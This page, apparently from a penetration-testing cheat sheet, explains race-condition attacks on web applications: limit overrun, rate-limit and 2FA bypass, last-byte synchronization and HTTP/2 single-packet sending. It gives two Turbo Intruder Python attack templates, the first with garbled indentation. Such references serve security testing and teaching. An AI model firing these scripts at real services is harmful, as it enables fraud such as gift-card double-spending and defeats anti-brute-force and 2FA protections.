Skip to content

Race Condition

Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.

Summary

Tools

  • PortSwigger/turbo-intruder - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.
  • JavanXD/Raceocat - Make exploiting race conditions in web applications highly efficient and ease-of-use.

Labs

Exploit

Limit-overrun

Overdrawing limit, multiple voting, multiple spending of a gifcard.

Examples:

Rate-limit bypass

Bypassing anti-bruteforce mechanism and 2FA.

Examples:

Techniques

HTTP/1.1 last-byte synchronization

Send every requests execpt the last byte, then "release" each request by sending the last byte.

Execute a last-byte synchronization using Turbo Intruder

engine.queue(request, gate='race1')
engine.queue(request, gate='race1')
engine.openGate('race1')

Examples:

HTTP/2 Single-packet attack

In HTTP/2 you can send multiple HTTP requests concurrently over a single connection. In the single-packet attack around ~20/30 requests will be sent and they will arrive at the same time on the server. Using a single request remove the network jitter.

Examples:

Turbo Intruder

Example 1

  1. Send request to turbo intruder
  2. Use this python code as a payload of the turbo intruder 
    def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                        concurrentConnections=30,
                        requestsPerConnection=30,
                        pipeline=False
                        )

for i in range(30):
    engine.queue(target.req, i)
        engine.queue(target.req, target.baseInput, gate='race1')


    engine.start(timeout=5)
engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)
  3. Now set the external HTTP header x-request: %s - ⚠ This is needed by the turbo intruder
  4. Click "Attack"

Example 2

This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.

def queueRequests(target, wordlists): 
    engine = RequestEngine(endpoint=target.endpoint, 
                           concurrentConnections=30, 
                           requestsPerConnection=100, 
                           pipeline=False 
                           ) 
    request1 = '''
POST /target-URI-1 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>

parameterName=parameterValue
    ''' 

    request2 = '''
GET /target-URI-2 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
    '''

    engine.queue(request1, gate='race1')
    for i in range(30): 
        engine.queue(request2, gate='race1') 
    engine.openGate('race1') 
    engine.complete(timeout=60) 
def handleResponse(req, interesting): 
    table.add(req)

References